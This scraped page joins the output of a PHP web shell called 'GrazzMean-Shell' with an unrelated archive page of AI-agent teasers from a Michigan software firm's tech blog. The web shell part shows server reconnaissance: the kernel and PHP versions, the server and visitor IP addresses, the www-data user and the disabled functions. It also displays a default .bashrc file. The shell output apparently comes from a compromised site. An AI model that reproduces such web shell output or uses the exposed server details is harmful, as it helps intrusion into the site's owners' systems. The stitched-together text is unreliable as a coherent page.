shell bypass 403

GrazzMean-Shell Shell

: /etc/skel/ [ drwxr-xr-x ]
Uname: Linux wputd 5.4.0-200-generic #220-Ubuntu SMP Fri Sep 27 13:19:16 UTC 2024 x86_64
Software: Apache/2.4.41 (Ubuntu)
PHP version: 7.4.3-4ubuntu2.24 [ PHP INFO ] PHP os: Linux
Server Ip: 158.69.144.88
Your Ip: 18.117.71.102
User: www-data (33) | Group: www-data (33)
Safe Mode: OFF
Disable Function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,

name : .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color|*-256color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
	# We have color support; assume it's compliant with Ecma-48
	# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
	# a case would tend to support setf rather than setaf.)
	color_prompt=yes
    else
	color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Add an "alert" alias for long running commands.  Use like so:
#   sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi
© 2025 GrazzMean-Shell
Machine Learning / AI Archives - Page 2 of 12 - Michigan AI Application Development - Best Microsoft C# Developers & Technologists

Tech Blog

Tech Insights, Information, and Inspiration
AI Agents in Healthcare: Pioneering the Future of Medicine

AI Agents in Healthcare: Pioneering the Future of Medicine

Artificial Intelligence (AI) agents have emerged as a driving force in the healthcare industry, propelling medical advancements and reshaping the way we approach patient care. With their ability to analyze complex data sets, recognize patterns, and learn from vast amounts of information, these intelligent agents are revolutionizing diagnostics, drug discovery, personalized medicine, and administrative tasks.

The Future of Customer Service: AI Agents at the Forefront

The Future of Customer Service: AI Agents at the Forefront

In today’s fast-paced and interconnected world, businesses are constantly striving to enhance customer service experiences. With the advent of artificial intelligence (AI) technology, a new breed of customer service agents has emerged—AI agents. These intelligent virtual assistants are revolutionizing the way businesses interact with their customers.

Intelligence Agents: Bridging the Gap Between Humans and Machines

Intelligence Agents: Bridging the Gap Between Humans and Machines

Intelligence agents, often referred to as AI agents, are software programs designed to simulate human-like intelligent behavior. Unlike traditional computer programs that follow pre-defined instructions, intelligence agents are capable of learning from data, adapting to new situations, and making informed decisions. They leverage cutting-edge technologies such as machine learning, natural language processing, and computer vision to perceive and interpret the world around them.

Get In Touch

12 + 14 =

UseTech Design, LLC
TROY, MI • BLOOMFIELD HILLS, MI
Call or text +1(734) 367-4100

Approaching AI: How Today’s Businesses Can Harness Its Capabilities

Artificial Intelligence (AI) has transitioned from being a speculative concept in science fiction to a transformative force across numerous industries. Among the most intriguing aspects of AI are AI agents, which are software entities that perform tasks on behalf of users. Understanding AI agents in real-world terms involves examining their components, capabilities, applications, and the ethical considerations they raise.

AI Agents: Bridging the Gap Between Technology and Real-World Applications

Among the most intriguing aspects of AI are AI agents, which are software entities that perform tasks on behalf of users. Understanding AI agents in real-world terms involves examining their components, capabilities, applications, and the ethical considerations they raise.

Utilizing AI Agents for Effective Legacy Code Modernization

As companies strive to keep pace with innovation, the modernization of legacy code becomes imperative. Artificial Intelligence (AI) agents offer a compelling solution to this problem, providing sophisticated tools and methodologies to facilitate the transition from legacy systems to modern architectures.

Embracing the Future: How AI Agents Will Change Everything

The future with AI agent technology holds immense promise for transforming our world in profound and unprecedented ways. From personalized experiences and seamless integration into daily life to empowering human-computer collaboration and revolutionizing healthcare, AI agents are poised to redefine the way we live, work, and interact with technology.

AI Agents vs. Traditional Customer Support: A Comparative Analysis

While traditional support offers a human touch and emotional connection, AI agents provide scalability, efficiency, and 24/7 availability. Moving forward, businesses must carefully assess their unique needs and customer expectations to determine the optimal balance between AI-driven automation and human interaction.

The Future of Business Intelligence: AI Solutions for Data-driven Decision Making

The future of business intelligence is AI-powered, where data becomes not just a strategic asset but a competitive advantage. In today’s hyper-connected digital world, data has become the lifeblood of business operations. Every click, purchase, and interaction generates valuable information that, when analyzed effectively, can provide crucial insights for strategic decision-making.

Democratized AI: Making Artificial Intelligence Accessible to All

Democratized AI has the potential to revolutionize industries and improve society by making AI technologies more accessible and inclusive. However, it also presents challenges such as data privacy, bias, and ethical considerations that must be addressed to ensure responsible implementation.

Explainable AI (XAI): Techniques and Methodologies within the Field of AI

Imagine a black box. You feed data into it, and it spits out a decision. That’s how many AI systems have traditionally functioned. This lack of transparency can be problematic, especially when it comes to trusting the AI’s reasoning. This is where Explainable AI (XAI) comes in.

Building an AI-Ready Workforce: Key Skills and Training Strategies

As artificial intelligence (AI) continues to transform industries and reshape the employment landscape, the demand for a skilled AI-ready workforce intensifies. Organizations across various sectors are recognizing the imperative of equipping their employees with the necessary skills and knowledge to thrive in an AI-driven world.

Working Together: Approaches to Multi-agent Collaboration in AI

Imagine a team of specialists – a data whiz, a communication expert, and an action master – all working in sync. This is the power of multi-agent collaboration, with the potential to revolutionize fields like scientific discovery, robotics, and self-driving cars. But getting these AI agents to collaborate effectively presents unique challenges